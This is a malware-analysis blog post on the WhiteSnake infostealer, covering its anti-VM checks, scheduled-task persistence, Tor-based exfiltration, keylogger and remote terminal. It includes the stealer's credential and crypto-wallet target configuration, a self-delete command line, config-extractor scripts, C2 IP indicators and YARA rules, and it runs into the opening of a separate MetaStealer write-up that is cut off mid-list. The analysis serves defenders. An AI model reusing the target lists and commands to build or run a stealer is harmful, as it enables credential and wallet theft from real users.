The WhiteSnake Stealer is written in .NET and is approximately 251KB in size (the latest version with all features enabled) in the obfuscated version. In the obfuscated stealer binary, the strings are RC4-encrypted, in the previous versions of the stealer, the strings obfuscation relied on XOR instead. In the newest version, the stealer developer removed the random callouts to legitimate websites.

The developer also removed string obfuscation that relied on building an array of characters and then converting the array into a string. The character for each position in the array is created by performing various operations, such as division, addition, and subtraction, on numeric values and lengths of strings or byte arrays.

I went ahead and used de4dot to decrypt all the strings and I also changed some of the method and class names to make it easier to understand the stealer functionality.

The code in the Entry Point below retrieves the location or filename of the executing assembly using Assembly.GetExecutingAssembly().Location. If the location is unavailable or empty, it tries to get the filename of the main module of the current process using Process.GetCurrentProcess().MainModule.FileName. If either the location or the filename is not empty, it assigns the value to the text variable. If there is an exception during the process, it catches the exception and writes the error message to installUtilLog.txt file located at %TEMP%.

Next, the stealer checks if the Mutex is already present to avoid two instances of the stealer running. The mutex value is present in the configuration of the stealer. If the mutex is present, the stealer will exit.

If the AntiVM is enabled, the flag to 1 is set. The stealer checks for the presence of the sandboxes by utilizing the WMI (Windows Management Instrumentation) query:

SELECT * FROM Win32_ComputerSystem

The query retrieves the “Model” and “Manufacturer” properties. The stealer checks if any of the properties contain the strings:

virtual
vmbox
vmware
thinapp
VMXh
innotek gmbh
tpvcgateway
tpautoconnsvc
vbox
kvm
red hat
qemu

And if one of the strings is present, the stealer exits out.

Next, the stealer checks if the execution method flag is set to 1, meaning that the resident mode is enabled. If the mode is enabled, the stealer creates the persistence via scheduled task on the host

The example of the task creation cmdline:

schtasks /create /tn /sc MINUTE /tr “C:\\Users\\username>\\AppData\\Local\\EsetSecurity\\ /rl HIGHEST /f

The folder name EsetSecurity is also obtained from the configuration of the stealer.

Moving forward, the Tor directory is created under the random name retrieved from the configuration under %LOCALAPPDATA%. The TOR archive is then retrieved from https://archive.torproject.org/. Tor, short for “The Onion Router,” is a free and open-source software project that aims to provide anonymous communication on the Internet. WhiteSnake uses TOR for communication, which makes it quite unique compared to other stealers. Hidden services or onion services allow services to be hosted on the Tor network without requiring traditional servers or port forwarding configurations. With Tor’s hidden services, the connection is established within the Tor network itself, which provides anonymity. When a hidden service is set up, it generates a unique address ending with .onion under C:\Users<username>\AppData\Local<random_name>\host. This address can only be accessed through the Tor network, and the connection is routed through a series of Tor relays, making it difficult to trace the actual attacker’s server.

The function below is responsible for building out the torr.txt, also known as Tor configuration file.

Example of the Tor configuration file:

SOCKSPort 4256: This field specifies the port number (6849) on which Tor should listen for SOCKS connections. The SOCKS protocol is commonly used to establish a proxy connection for applications to communicate through Tor.
ControlPort 4257: This field sets the port number (6850) for the Tor control port. The control port allows external applications to interact with the Tor process.
DataDirectory C:\Users<username>\AppData\Local<random_name>\data: The DataDirectory field specifies the directory where Tor should store its data files, such as its state, cached data, and other runtime information.
HiddenServiceDir C:\Users<username>\AppData\Local<random_name>\host: This directive specifies the directory where Tor should store the files related to a hidden service. Hidden services are websites or services hosted on the Tor network, typically with addresses ending in .onion. In this example, the hidden service files will be stored in C:\Users<username>\AppData\Local<random_name>\host.
HiddenServicePort 80 127.0.0.1:6848: This field configures a hidden service to listen on port 80 on the local loopback interface (127.0.0.1) and forward incoming connections to port 6848.
HiddenServiceVersion 3: This field specifies the version of the hidden service. Please note that the port numbers can vary on each infected machine.

The stealer then proceeds to check if the file report.lock exists within the created Tor directory, if it does not, the stealer proceeds with loading the APIs such as GetModuleHandleA, GetForegroundWindow, GetWindowTextLengthA, GetWindowTextA, GetWindowThreadProcessId, and CryptUnprotectData. Then it proceeds with parsing the stealer configuration (the data to be exfiltrated). I have beautified the configuration for a simplified read.

<?xml version="1.0" encoding="utf-16"?>
<Commands xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <commands>
    <command name="2">
      <args>
        <string>Mozilla\Firefox</string>
      </args>
    </command>
    <command name="2">
      <args>
        <string>Thunderbird</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Google\Chrome</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Yandex\YandexBrowser</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Vivaldi</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>CocCoc\Browser</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>CentBrowser</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>BraveSoftware\Brave-Browser</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Chromium</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Microsoft\Edge</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Opera</string>
        <string>%AppData%\Opera Software\Opera Stable</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>OperaGX</string>
        <string>%AppData%\Opera Software\Opera GX Stable</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\dolphin_anty</string>
        <string>db.json</string>
        <string>Apps\DolphinAnty</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%USERPROFILE%\OpenVPN\config</string>
        <string>*\*.ovpn</string>
        <string>Grabber\OpenVPN</string>
      </args>
    </command>
    <command name="4">
      <args>
        <string>SOFTWARE\Martin Prikryl\WinSCP 2\Sessions\*</string>
        <string>HostName;UserName;Password</string>
        <string>Apps\WinSCP\sessions.txt</string>
      </args>
    </command>
    <command name="4">
      <args>
        <string>SOFTWARE\FTPWare\CoreFTP\Sites\*</string>
        <string>Host;Port;User;PW</string>
        <string>Apps\CoreFTP\sessions.txt</string>
      </args>
    </command>
    <command name="4">
      <args>
        <string>SOFTWARE\Windscribe\Windscribe2</string>
        <string>userId;authHash</string>
        <string>Apps\Windscribe\token.txt</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Authy Desktop\Local Storage\leveldb</string>
        <string>*</string>
        <string>Grabber\Authy</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\WinAuth</string>
        <string>*.xml</string>
        <string>Grabber\WinAuth</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\obs-studio\basic\profiles</string>
        <string>*\service.json</string>
        <string>Apps\OBS</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\FileZilla</string>
        <string>sitemanager.xml;recentservers.xml</string>
        <string>Apps\FileZilla</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%LocalAppData%\AzireVPN</string>
        <string>token.txt</string>
        <string>Apps\AzireVPN</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%USERPROFILE%\snowflake-ssh</string>
        <string>session-store.json</string>
        <string>Apps\Snowflake</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%ProgramFiles(x86)%\Steam</string>
        <string>ssfn*;config\*.vdf</string>
        <string>Grabber\Steam</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Discord</string>
        <string>%Appdata%\Discord</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%Appdata%\Discord\Local Storage\leveldb</string>
        <string>*.l??</string>
        <string>Browsers\Discord\leveldb</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\The Bat!</string>
        <string>ACCOUNT.???</string>
        <string>Grabber\The Bat!</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%SystemDrive%</string>
        <string />
        <string>Apps\Outlook\credentials.txt</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%SystemDrive%</string>
        <string>Account.rec0</string>
        <string>Apps\Foxmail</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Signal</string>
        <string>config.json;sql\db.sqlite</string>
        <string>Grabber\Signal</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\.purple</string>
        <string>accounts.xml</string>
        <string>Apps\Pidgin</string>
      </args>
    </command>
    <command name="5">
      <args>
        <string>Telegram;tdata</string>
        <string>%AppData%\Telegram Desktop\tdata</string>
        <string>*s;????????????????\*s</string>
        <string>Grabber\Telegram</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\ledger live</string>
        <string>app.json</string>
        <string>Grabber\Wallets\Ledger</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\atomic\Local Storage\leveldb</string>
        <string>*.l??</string>
        <string>Grabber\Wallets\Atomic</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\WalletWasabi\Client\Wallets</string>
        <string>*.json</string>
        <string>Grabber\Wallets\Wasabi</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Binance</string>
        <string>*.json</string>
        <string>Grabber\Wallets\Binance</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Guarda\Local Storage\leveldb</string>
        <string>*.l??</string>
        <string>Grabber\Wallets\Guarda</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%LocalAppData%\Coinomi\Coinomi</string>
        <string>*.wallet</string>
        <string>Grabber\Wallets\Coinomi</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Bitcoin\wallets</string>
        <string>*\*wallet*</string>
        <string>Grabber\Wallets\Bitcoin</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Electrum\wallets</string>
        <string>*</string>
        <string>Grabber\Wallets\Electrum</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Electrum-LTC\wallets</string>
        <string>*</string>
        <string>Grabber\Wallets\Electrum-LTC</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Zcash</string>
        <string>*wallet*dat</string>
        <string>Grabber\Wallets\Zcash</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Exodus</string>
        <string>exodus.conf.json;exodus.wallet\*.seco</string>
        <string>Grabber\Wallets\Exodus</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string>
        <string>.l??</string>
        <string>Grabber\Wallets\JaxxLiberty</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Jaxx\Local Storage\leveldb</string>
        <string>.l??</string>
        <string>Grabber\Wallets\JaxxClassic</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>Metamask</string>
        <string>nkbihfbeogaeaoehlefnkodbefgpgknn</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>Ronin</string>
        <string>fnjhmkhhmkbjkkabndcnnogagogbneec</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>BinanceChain</string>
        <string>fhbohimaelbohpjbbldcngcnapndodjp</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>TronLink</string>
        <string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>Phantom</string>
        <string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%UserProfile%\Desktop</string>
        <string>*.txt;*.doc*;*.xls*;*.kbd*;*.pdf</string>
        <string>Grabber\Desktop Files</string>
      </args>
    </command>
  </commands>
</Commands>

The code below is responsible for parsing and retrieving information from directories and files related to browsing history, cookies, and extensions.

WhiteSnake creates the WSR file that is encrypted using the RC4-encryption algorithm with a key generated on the fly. The WSR filename is comprised of the first random 5 characters, followed by _username`, @computername and _report, the example is shown below. The WSR is the file containing the exfiltrated data.

hhcvT_administrator@WINDOWS-CBVFCB_report

It is worth noting that if the attacker has RC4 + RSA encryption option set (by default), then the RC4 key is encrypted with RSA encryption, and the RSA public key is stored in the configuration.

Below is the function responsible for basic information parsing.

The stealer appends certain fields to the basic information of the infected machine before sending it out to Telegram Bot configured by an attacker.

The WSR log file is uploaded to one of the available servers listed in the configuration file. If one of servers is not available and the web request fails, the stealer tries the next IP on the list.

The attacker has two options to get the logs from Telegram.

Download the WSR locally from one of the servers hosting the log file.
Open directly via localhost (for example, http://127.0.0.1:18772/handleOpenWSR?r=http://IP_Address:8080/get/CBxn1/hhcvT_administrator@WINDOWS-CBVFCB_report.wsr). By accessing that URL the attacker will get the logs parsed directly into the WhiteSnake report viewer panel show below on the right. We will come back to the report viewer panel later in this blog.

The snippet of Outlook parsing is shown below. The stealer retrieves Outlook information from the registry key based on the default profile.

WhiteSnake stealer uses WMI queries for basic system information enumeration as mentioned above. Here are some other queries that are ran by the stealer:

SELECT * FROM Win32_Processor – the query retrieves information about the processors (CPUs) installed on the computer.
SELECT * FROM Win32_VideoController – the query retrieves information about the video controllers (graphics cards) installed on the computer
SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3 – the query retrieves information about logical disks (such as hard drives or SSDs) on the computer where the DriveType equals 3. DriveType 3 corresponds to local disk drives.
SELECT * FROM Win32_ComputerSystem – the query retrieves information about the computer system where the TotalPhysicalMemory

The stealer retrieves the list of installed applications by querying the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

If the Loader capability is enabled, the stealer will attempt to retrieve it from the payload hosting URL and place it under %LOCALAPPDATA%. Then UseShellExecute is used to run the executable.

If the USB Spread option is enabled, the stealer performs the following:

Iterate over all available drives on the system using the DriveInfo.GetDrives() method.
For each DriveInfo object in the collection of drives, it performs the following actions such as checking if the drive type is “Removable” (driveInfo.DriveType == DriveType.Removable), indicating a removable storage device is a USB drive, checking if the drive is ready (driveInfo.IsReady), meaning it is accessible and can be written to, checking if the available free space on the drive is greater than 5242880 bytes
If the above conditions are met, it constructs a file path by combining the root directory of the drive (driveInfo.RootDirectory.FullName) with a file name represented by USB_Spread.vN6.
It then checks if the stealer file exists
If the file doesn’t exist, it copies a file to the USB drive.

With the Local User Spread option, the stealer queries for user accounts with Win32_UserAccount. Then it copies the stealer executable to the Startup folder of user accounts on the local computer, excluding the current user’s Startup folder.

Upon successful execution of the stealer, it deletes itself using the command

cmd.exe” /c chcp 65001 && ping 127.0.0.1 && DEL_ /F /S /Q /A “path to the stealer”

Below is the functionality of the keylogger.

The keylogger function relies on the APIs:

SetWindowsHookExA
GetKeyState
CallNextHookEx
GetKeyboardState
MapVirtualKeyA
GetForegroundWindow
GetWindowThreadProcessId
GetKeyboardLayout
ToUnicodeEx

Another unique feature of WhiteSnake is the remote terminal that allows an attacker to establish the remote session with the infected machine and execute certain commands such as:

screenshot – taking the screenshot of the infected machine
uninstall – uninstall the beacon from the infected machine
refresh – refresh the log credentials
webcam – take the webcam photo
stream – start streaming webcam or desktop
keylogger – control the keylogger
cd – change the current directory
ls – list files in current directory
get-file – download file from remote PC
dpapi – decrypts the DPAPI (base64-encoded) blob
process-list – get running processes
transfer – upload the file to one of the IPs listed in the configuration
loader – retrieves the file from the URL
loadexec – retrieves and executes the file on the infected machine with cmd.exe in a hidden window
compress – creates a ZIP archive from a directory
decompress – extracts ZIP content to the current directory

The code responsible for the remote terminal functionality is shown below.

For the webcam, the stealer retrieves devices of class “Image” or “Camera” using the Win32_PnPEntity class in the Windows Management Instrumentation (WMI) database. The stealer attempts to capture an image from the webcam and returns the image data as a byte array in PNG format. It uses various API functions such as capCreateCaptureWindowA, SendMessageA, and the clipboard to perform the capture.

Configuration Extractor

I wrote the configuration extractor for samples that are obfuscated with XOR and RC4 that relies on dnlib.

XOR version

#Author: RussianPanda
#Tested on samples:
# f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50
# c219beaecc91df9265574eea6e9d866c224549b7f41cdda7e85015f4ae99b7c7

import argparse
import clr

parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()

clr.AddReference(args.dnlib)

import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes

module = dnlib.DotNet.ModuleDefMD.Load(args.file)


def xor_strings(data, key):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(data, key * (len(data) // len(key) + 1)))


def has_target_opcode_sequence(method):
    target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]

    if method.HasBody:
        opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
        for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
            if opcode_sequence[i:i + len(target_opcode_sequence)] == target_opcode_sequence:
                return True
    return False


def process_methods():
    decrypted_strings = []
    check_list = []

    for type in module.GetTypes():
        for method in type.Methods:
            if has_target_opcode_sequence(method) and method.HasBody:
                instructions = list(method.Body.Instructions)
                for i in range(len(instructions) - 1):
                    instr1 = instructions[i]
                    instr2 = instructions[i + 1]

                    if instr1.OpCode == OpCodes.Ldstr and instr2.OpCode == OpCodes.Ldstr:
                        data = instr1.Operand
                        key = instr2.Operand
                        if isinstance(data, str) and isinstance(key, str):
                            decrypted_string = xor_strings(data, key)
                            decrypted_strings.append(decrypted_string)

                    # Only consider ldstr instructions
                    if instr1.OpCode == OpCodes.Ldstr and (instr1.Operand == '1' or instr1.Operand == '0'):
                        check_list.append(instr1.Operand)

    return decrypted_strings, check_list


def print_stealer_configuration(decrypted_strings, xml_declaration_index):
    config_cases = {
        ".": {
            "offsets": [(5, "Telgeram Bot Token"), (7, "Mutex"), (8, "Build Tag"), (4, "Telgeram Chat ID"),
                        (1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (6, "RSAKeyValue")]
        },
        "RSAKeyValue": {
            "offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
                        (4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "Mutex"), (7, "Build Tag")]
        },
        "else": {
            "offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
                        (4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "RSAKeyValue"), (7, "Mutex"),
                        (8, "Build Tag")]
        }
    }

    condition = "." if "." in decrypted_strings[xml_declaration_index - 1] else \
        "RSAKeyValue" if "RSAKeyValue" not in decrypted_strings[xml_declaration_index - 6] else "else"
    offsets = config_cases[condition]["offsets"]
    config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
    for o, n in offsets:
        print(f"{n}: {config_data.get(o, 'Not Found')}")


def print_features_status(check_list):
    features = [
        (0, "AntiVM"),
        (1, "Resident"),
        (2, "Auto Keylogger"),
        (3, "USB Spread"),
        (4, "Local Users Spread"),
    ]
    for o, n in features:
        status = 'Enabled' if check_list[o] == '1' else 'Disabled'
        print(f"{n}: {status}")


def print_C2(decrypted_strings):
    for data in decrypted_strings:
        if "http://" in data and "127.0.0.1" not in data and "www.w3.org" not in data:
            print("C2: " + data)


def main():
    decrypted_strings, check_list = process_methods()

    xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
    xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)

    if xml_declaration_index is not None:
        print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
        print_stealer_configuration(decrypted_strings, xml_declaration_index)

    print_features_status(check_list)
    print_C2(decrypted_strings)


if __name__ == "__main__":
    main()

Output example:

RC4 version

#Author: RussianPanda

import argparse
import clr
import logging

parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()

clr.AddReference(args.dnlib)

import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes

module = dnlib.DotNet.ModuleDefMD.Load(args.file)

logging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')

def Ichduzekkvzjdxyftabcqu(A_0, A_1):
    try:
        string_builder = []
        num = 0
        array = list(range(256))

        for i in range(256):
            array[i] = i

        for j in range(256):
            num = ((ord(A_1[j % len(A_1)]) + array[j] + num) % 256)
            num2 = array[j]
            array[j] = array[num]
            array[num] = num2

        for k in range(len(A_0)):
            num3 = k % 256
            num = (array[num3] + num) % 256
            num2 = array[num3]
            array[num3] = array[num]
            array[num] = num2
            decrypted_char = chr(ord(A_0[k]) ^ array[(array[num3] + array[num]) % 256])
            string_builder.append(decrypted_char)

        return ''.join(string_builder)
    except Exception as e:
        logging.error("Error occurred in Ichduzekkvzjdxyftabcqu: " + str(e))
        return None

def has_target_opcode_sequence(method):
    target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]

    if method.HasBody:
        # Get the sequence of OpCodes in the method
        opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]

        # Check if the target sequence is present in the opcode sequence
        for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
            if opcode_sequence[i:i+len(target_opcode_sequence)] == target_opcode_sequence:
                return True

    return False

ldstr_counter = 0
decrypted_strings = []

for type in module.GetTypes():
    for method in type.Methods:
        if method.HasBody and has_target_opcode_sequence(method):
            instructions = list(method.Body.Instructions)
            for i, instr in enumerate(instructions):
                # Only consider ldstr instructions
                if instr.OpCode == OpCodes.Ldstr:
                    ldstr_counter += 1
                    if ldstr_counter > 21:
                        if instr.Operand == '1' or instr.Operand == '0':
                            decrypted_strings.append(instr.Operand)
                        elif i + 1 < len(instructions):
                            encrypted_data = instr.Operand
                            rc4_key = instructions[i + 1].Operand
                            if isinstance(encrypted_data, str) and isinstance(rc4_key, str):
                                decrypted_data = Ichduzekkvzjdxyftabcqu(encrypted_data, rc4_key)
                                if decrypted_data:
                                    decrypted_strings.append(decrypted_data)

xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)

if xml_declaration_index is not None:
    print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
    offsets = [(11, "RSAKeyValue"), (12, "Mutex"), (13, "Build Tag")]
    config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
    for o, n in offsets:
        print(f"{n}: {config_data.get(o, 'Not Found')}")

    offsets = [
        (10, "Telgeram Bot Token"),
        (9, "Telgeram Chat ID"),
        (1, "Stealer Tor Folder Name"),
        (2, "Stealer Folder Name"),
        (3, "Stealer Version"),
    ]

    features = [
        (4, "Local Users Spread"),
        (5, "USB Spread"),
        (6, "Auto Keylogger"),
        (7, "Execution Method"),
        (8, "AntiVM"),
    ]

    config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
    for o, n in offsets:
        print(f"{n}: {config_data.get(o, 'Not Found')}")

    config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in features if xml_declaration_index >= o}
    for o, n in features:
        status = 'Enabled' if config_data.get(o, '0') == '1' else 'Not Enabled'
        print(f"{n}: {status}")

for data in decrypted_strings:
    if "http://" in data and "127.0.0.1" not in data and "www.w3.org" not in data:
        print("C2: " + data)

I am not providing the hashes for the newest version to keep the anonymity and to avoid stealer developer hunting me down. You can access both of the configuration extractors on my GitHub page

Summary

Personally, I think, WhiteSnake Stealer is undoubtedly one of the leading stealers available, offering numerous features and ensuring secure log delivery and communication. Probably one of my favorite stealers that I have ever analyzed so far. As always, your feedback is very welcome 🙂

Indicators Of Compromise

Name	Indicators
C2	172.104.152.202:8080
C2	116.202.101.219:8080
C2	212.87.204.197:8080
C2	212.87.204.196:8080
C2	81.24.11.40:8080
C2	195.201.135.141:9202
C2	18.171.15.157:80
C2	45.132.96.113:80
C2	5.181.12.94:80
C2	185.18.206.168:8080
C2	212.154.86.44:83
C2	185.217.98.121:80
C2	172.245.180.159:2233
C2	216.250.190.139:80
C2	205.185.123.66:8080
C2	66.42.56.128:80
C2	104.168.22.46:8090
C2	124.223.67.212:5555
C2	154.31.165.232:80
C2	85.8.181.218:80
C2	139.224.8.231:8080
C2	106.55.134.246:8080
C2	144.22.39.186:8080
C2	8.130.31.155:80
C2	116.196.97.232:8080
C2	123.129.217.85:8080
C2	106.15.66.6:8080
C2	106.3.136.82:80
SHA-256	f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50
SHA-256	c219beaecc91df9265574eea6e9d866c224549b7f41cdda7e85015f4ae99b7c7

Yara Rules

rule WhiteSnakeStealer {

	meta:
		author = "RussianPanda"
		description = "Detects WhiteSnake Stealer XOR version" 
		date = "7/5/2023"

	strings:
		$s1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE}
		$s2 = {61 6e 61 6c 2e 6a 70 67}
	condition:
		all of ($s*) and filesize < 600KB

}

rule WhiteSnakeStealer {

	meta:
		author = "RussianPanda"
		description = "detects WhiteSnake Stealer RC4 version" 
		date = "7/5/2023"

	strings:
		$s1 = {73 68 69 74 2e 6a 70 67}
		$s2 = {FE 0C ?? 00 20 00 01 00 00 3F ?? FF FF FF 20 00 00 00 00 FE 0E ?? 00 38 ?? 00 00 00 FE 0C}
		$s3 = "qemu" wide
		$s4 = "vbox" wide
	condition:
		all of ($s*) and filesize < 300KB

}

MetaStealer – Redline’s Doppelgänger

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

MetaStealer made its debut on Russian hacking forums on March 7, 2022. The stealer is said to incorporate the functionality, code, and panel of Redline Stealer. The developer claims to have improved the stub of the payload. It is priced at $150 per month, mirroring the price of Redline Stealer.

Note: Some samples of MetaStealer have been found in sandbox platforms like Triage, Joe Sandbox, Any.run and classified as Redline or “another” MetaStealer” that appears to be written in C++. You can find an example here. Additionally, SentinelOne has reported a separate MetaStealer targeting MacOS devices that is written in Golang. It’s important to note that these are not the same malware variants. To clarify, the MetaStealer I am analyzing is written in C#.

The developer of MetaStealer actively advertises crypter[.]guru crypting services for their stealer users, as can be seen in the screenshot below.

I will provide a brief overview of some of the stealer’s functionalities, but we won’t delve into extensive detail as it shares many similarities with Redline Stealer. For a more comprehensive analysis, you can refer to my Redline writeup here

Technical Analysis

The generated MetaStealer build is automatically obfuscated with Confuser Core 1.6.0. Notably, the binary description contains the text “METRO 2022 Dev,” suggesting that the malware developer may be a fan of the Metro franchise 🙂

I proceeded with cleaning up the sample a bit to make it more readable and reversible. We go to the entry point of the binary and notice some interesting code within class “MainFrm” and “ReadLine” methods. Within “ReadLine” method, we see a while loop that continues as long as a boolean variable flag is false. Inside this loop, it calls StringDecrypt.Read(Arguments.IP, Arguments.Key), which retrieves two arguments IP and key. The retrieved data is split into an array of strings using the “|” character as a delimiter.

The Read method takes two string parameters, b64 and stringKey. The method first checks if the b64 parameter is null, empty, or consists only of white-space characters (if (string.IsNullOrWhiteSpace(b64)). If b64 is not null or white-space, the method performs a series of operations:

It first decodes b64 from Base64 format. The result of this decoding is a string (StringDecrypt.FromBase64(b64)).
It then applies an XOR operation to the decoded string using stringKey as the key.
The result of the XOR operation is then decoded again from Base64 format.

Looking at the Arguments table, we can see some interesting base64-encoded strings:

This is StringDecrypt class, where XOR decryption takes place:

For each character in input, it performs an XOR operation with the corresponding character in stringKey as shown in the Arguments table. The index for stringKey is determined by i % stringKey.Length, ensuring that if stringKey is shorter than input, it will repeat from the very beginning. The exact similar string encryption is used for Redline as well.

Upon decrypting the string in CyberChef, we get the C2 IP and the port number.

Next, we will look at method_03. The code is responsible for setting up network communication.

It attempts to establish a network channel to a remote endpoint specified by the address argument. This involves creating a ChannelFactory with a specific binding and endpoint address.
It then sets up credentials and bypasses certificate validation.
Next, it adds an “Authorization” message header with a hardcoded value (token/key) that is likely for authentication purposes (for example, {xmlns=”ns1”>ead3f92ffddf3eebb6b6d82958e811a0})
It then returns true if the connection setup is successful, false if any exception occurs

method_0 contains MSValue1, which is a call to a method on a WCF (Windows Communication Foundation) service channel and the connector object is a proxy facilitating the remote method invocation.

Next, we will reach method_2:

It calls this.connector.OnGetSettings(), which seems to be a method call to obtain some data from C2. The result is assigned to the msobject variable. OnGetSettings method is responsible for retrieving settings data and packaging it into an instance of the MSObject18 class.

Each MSValue (MSValue10, MSValue11, MSValue12 etc.) stores the configuration retrieved from C2:

MSValue10 – stores the grabber configuration:

@"%userprofile%\\Desktop|*.txt,*.doc*,*key*,*wallet*,*seed*|0"
@"%userprofile%\\Documents|*.txt,*.doc*,*key*,*wallet*,*seed*|0"

MSValue11 – stores the paths to the “User Data” folder for various browsers and applications such as Steam and Battle.net to steal the sensitive information from:

@"%USERPROFILE%\\AppData\\Local\\Battle.net"
@"%USERPROFILE%\\AppData\\Local\\Chromium\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Google\\Chrome\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Google(x86)\\Chrome\\User Data"
@"%USERPROFILE%\\AppData\\Roaming\\Opera Software\\"
@"%USERPROFILE%\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Iridium\\User Data"
@"%USERPROFILE%\\AppData\\Local\\7Star\\7Star\\User Data"
@"%USERPROFILE%\\AppData\\Local\\CentBrowser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Chedot\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Vivaldi\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Kometa\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Elements Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Epic Privacy Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\uCozMedia\\Uran\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer"
@"%USERPROFILE%\\AppData\\Local\\CatalinaGroup\\Citrio\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Coowon\\Coowon\\User Data"
